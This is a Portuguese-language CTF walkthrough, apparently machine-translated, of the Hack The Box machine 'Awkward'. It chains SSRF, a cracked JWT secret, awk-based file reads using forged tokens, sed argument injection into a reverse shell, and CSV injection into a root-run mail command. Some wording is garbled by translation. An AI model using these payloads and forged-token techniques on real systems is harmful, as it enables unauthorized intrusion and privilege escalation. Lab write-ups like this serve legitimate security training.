Passo a passo do Awkward Hack The Box — [Htb]

Feb 22 2023
Redação estranha de Htb Ei pessoal! Bem-vindo ao meu blog, hoje vamos discutir sobre a estranha máquina hack-the-box que apresenta uma vulnerabilidade SSRF para obter acesso ao sistema de arquivos interno. Também existe uma vulnerabilidade LFI para obter o shell do usuário dessa máquina e abusar Com o comando mail, podemos obter o privilégio de root desse sistema Enumeração: Então, primeiro, como de costume, iniciamos nossa varredura nmap PASSO 1: nmap -sC -sV 10.10.

Redação de Htb estranha

Ei pessoal! Bem-vindo ao meu blog, hoje vamos discutir sobre a estranha máquina hack-the-box que apresenta uma vulnerabilidade SSRF para obter acesso ao sistema de arquivos interno. Também existe uma vulnerabilidade LFI para obter o shell do usuário dessa máquina e abusar o comando mail podemos obter privilégios de root desse sistema

Enumeração:

Então, primeiro, como de costume, começamos com nossa varredura nmap

PASSO 1: nmap -sC -sV 10.10.11.185

Aqui há o porto habitual e os serviços estão abertos

Então vamos visitar o site no navegador que éhttp://10.10.11.185

Agora ele será redirecionado para ohttp://hat-valley.htb/então vamos adicionar isso ao seu arquivo /etc/hosts para acessar esse site

Agora você pode acessar esse site

Em seguida, verifiquei o código-fonte em busca de qualquer coisa interessante.

E encontrei um arquivo javascript interessante que app.js mas o código é enorme

Vamos copiar e colar esse código emhttps://codepen.io/pen/o que torna o vscode melhor ou aberto

Analisando ainda mais esse código, você pode encontrar mais tokens JWT que são codificados com base64, o que não é interessante

Aqui precisamos analisar todo o código app.js para obter coisas interessantes

Analisando ainda mais este código, encontrei alguns diretórios interessantes

Primeiro encontrei o caminho /hr

que redirecionou para uma página de login. Eu tentei com a senha de administrador padrão, mas não vai funcionar

Ao ver o código acima, você pode perceber que baseurl = API e existem outros diretórios all-leave e submit-leave na API porque concatena o baseurl + all-leave e baseurl + submit-leave, o que é interessante, então agora você pode ser capaz de entender este código e a mesma explicação para abaixo de duas imagens, apenas o diretório será alterado

Então, vamos verificar o /api/staff-details

Ohhh!!!! Dá o erro de JWT token Malformado acho que é um erro de token então vamos passar isso sem token

PASSO 2: curl -shttp://hat-valley.htb/api/staff-details| jq

Boommm!!! Agora você obterá o nome de usuário e a senha de cada usuário disponível

Então, vamos quebrar esse hash usando john, mas, infelizmente, o hash foi quebrado porhttps://hashes.com/en/tools/hash_identifieraqui fui procurar o formato hash mas quebrou obrigado

nome de usuário = christopher.jones senha=chris123, portanto, faça o login com este nome de usuário e senha

Boommm!!! Temos o painel

Em seguida, cliquei no botão atualizar

E capture esse pedido Em arroto e encontrei algo escrito com esse pedido

Vulnerabilidade SSRF:

Porque existe um parâmetro de URL que pode levar ao ataque SSRF

Usando essa vulnerabilidade do SSRF, podemos acessar o arquivo interno desse sistema que não está disponível publicamente

Confira o artigo abaixo

eu verifiquei comhttp://localhost:80qual éhttp://hat-vally.htb

Agora você pode confirmar que é um SSRF. Hurrrhhh!!!

Então, vamos fuzz na porta para obter acesso interno a esse sistema

PASSO 3: ffuf -u 'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"' -w /usr/share/seclists/Fuzzing/4-digits-0000–9999.txt -fs 0

Aqui eu achei 3002 interessante, então vamos verificar. mas você recebe a página em branco

Coloque aspas duplas em “http://localhost:3002”

Agora você tem acesso a essa página interna

Inclusão de arquivo local:

Depois de analisar esta página, encontrei um endpoint de API interessante que possui uma vulnerabilidade LFI

Analisando ainda mais esse código, encontrei algo interessante no comando AWK Ferramenta normalmente AWK Linux e é uma linguagem de programação (Confira no google)

E o nome da caixa faz sentido estranho , mas pessoalmente acho que está disponível na escalação de privilégios do usuário para root (confira isso na sala tryhackme)

Aqui você pode notar que o comando awk passa a variável de usuário que decodificou o token JWT de um usuário

Mas para abusar disso, precisamos da chave secreta porque, usando essa chave secreta, podemos criar nosso próprio token para qualquer usuário

BruteForceing a chave fraca:

Ao fazer login com o usuário de Christoper, você poderá ver o token no arroto

Precisamos quebrar este Token for Secrete Key usando John

Primeiro copie e cole esse token JWT no arquivo

PASSO 4: john JWT.txt — wordlist=rockyou.txt — formato=HMAC-SHA256

Boommm!!! Agora você pode obter a chave secreta

Agora a assinatura é verificada

Primeiro verificamos o arquivo /etc/passwd

Então, vamos enrolar esse endpoint com este token JWT

PASSO 5: enrolarhttp://hat-valley.htb/api/all-leave— cabeçalho “cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii
8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzY5MDQ3Mjh9.9kHRYTuO1Oh0ykcKpTiNmCH8jeg4rL8 J31znekRdaaE”

Boommm!!!! Agora ele listará o arquivo /etc/passwd

Aqui você obtém alguns usuários como bean e Christine

E verifiquei as chaves ssh para ambos os usuários, mas não conseguimos buscar

Em seguida, vamos para o arquivo .bashrc

Em seguida, enrole isso e você obterá o arquivo .bashrc

Analisando melhor este arquivo bash Você poderá notar que existe um arquivo de backup que faz sentido

Vamos fornecer este local de backup na chave JWT

Em seguida, enrole esse token com esse endpoint

PASSO 6: enrolarhttp://hat-valley.htb/api/all-leave— cabeçalho “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cF9ob21lLnNoICciLCJpYXQiOjE2NzY5MDQ3Mj h9.4LyhastbruMYsHH8UcKped_Pic7mjvSD2fSkVZWfC1w” — saída backup.sh

Agora você obterá o arquivo backup.sh e, nesse arquivo, poderá ver o arquivo backup.tar

PASSO 7: enrolarhttp://hat-valley.htb/api/all-leave— cabeçalho “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3 ogJyIsImlhdCI6MTY3NjkwNDcyOH0.sE5i7Nx06DGh1uhK_nyMIhGn2bCt_nxoDDtu9P7ogk0” — saída bean_backup_final.tar.gz

Em seguida, extraia esse arquivo e você obterá o arquivo de backup dessa máquina

E há alguns arquivos e diretórios ocultos também disponíveis

PASSO 8: ls -al

A seguir, abra o

PASSO 9 : cat /.config/xpad/content-DS1ZS1

Aqui você pode encontrar alguns créditos de bean para login SSH

Bandeira do usuário:

PASSO 10: ssh [email protected]

PASSO 11: cat user.txt

Boooommm!!! Agora você obtém o userflag dessa máquina

Depois de obter o shell, verifiquei o abuso binário do sudo e o linpeas, mas não funcionou

Em seguida, verifiquei o arquivo host em busca de vhost ou subdomínio interessante

Então, vamos adicionar isso ao nosso arquivo /etc/hosts para acessar essa página da web

ao acessar essa página ele pede um nome de usuário e senha

Então, verifiquei o arquivo de configuração no nginx que é /etc/nginx e obtive o nome de usuário e a senha no hash

mas provavelmente não conseguirei quebrar esse hash, então usei credenciais SSH para fazer login nesse aplicativo

Nome de usuário: admin Senha: 014mrbeanrules!#P

Boommm!!! Obtemos acesso de login a esse aplicativo e ao aplicativo Shopping

Então eu fui para shop.php

Depois disso, revi esse código em /var/www/store para qualquer coisa interessante

No código, encontrei algo estranho no comando Sed que pode levar à execução remota do código, mas não podemos explorar isso diretamente no aplicativo da web se executar o shell reverso, ele mostra um caractere incorreto detectado !!

Então, para evitar isso, configuramos um shell reverso nessa máquina e executamos esse arquivo nesse aplicativo

Primeiro, adicione qualquer produto ao carrinho

Em seguida, confira Mycart você pode ver esse produto

E você pode ver este carrinho naquela máquina se ele adicionar a esse carrinho

Portanto, nosso plano é abusar do comando sed para obter o shell reverso dessa máquina e podemos executar o comando no botão remover se precisar de mais informações sobre o abuso do comando SED no artigo abaixo

Primeiro, precisamos de um shell reverso simples de revshells.com

E dê permissão de execução para esse arquivo

PASSO 12: chmod 777 evilshell.sh

Em seguida, configure seu ouvinte em sua máquina local

PASSO 13: nc -lvp 9001

Primeiro, adicione o produto ao carrinho

Em seguida, clique no botão remover e capture essa solicitação

E editar o parâmetro do item

'+-e+"1e+/tmp/evilshell.sh"+/tmp/evilshell.sh+'

      
                

Em seguida, verifiquei o processo na máquina do usuário

PASSO 14: ps -eaf

Aqui você pode perceber que o inotifywait está monitorando o /var/www/private/leave_request, então vamos verificar isso em www-data

Então, vamos passar um argumento para esse arquivo para o que aconteceu nesse processo

E descobri que executar o comando mail com privilégio de root

Então vamos passar o shell reverso no leave_request.csv e executar o comando mail com privilégio de root

Primeiro, crie um shell reverso na máquina do usuário

Em seguida, configure seu ouvinte na máquina local

PASSO 15: nc -lvp 9002

Depois disso, vá para a máquina www-data e execute o comando abaixo

echo '" --exec="\!/tmp/evilshell.sh"' >> leave_requests.csv

Boommm!!! Agora você obtém o shell raiz dessa máquina

Espero que você entenda este artigo Se você gostou do meu artigo, por favor, dê aplausos e se você gosta do meu trabalho, doe para o meu Exame OSCP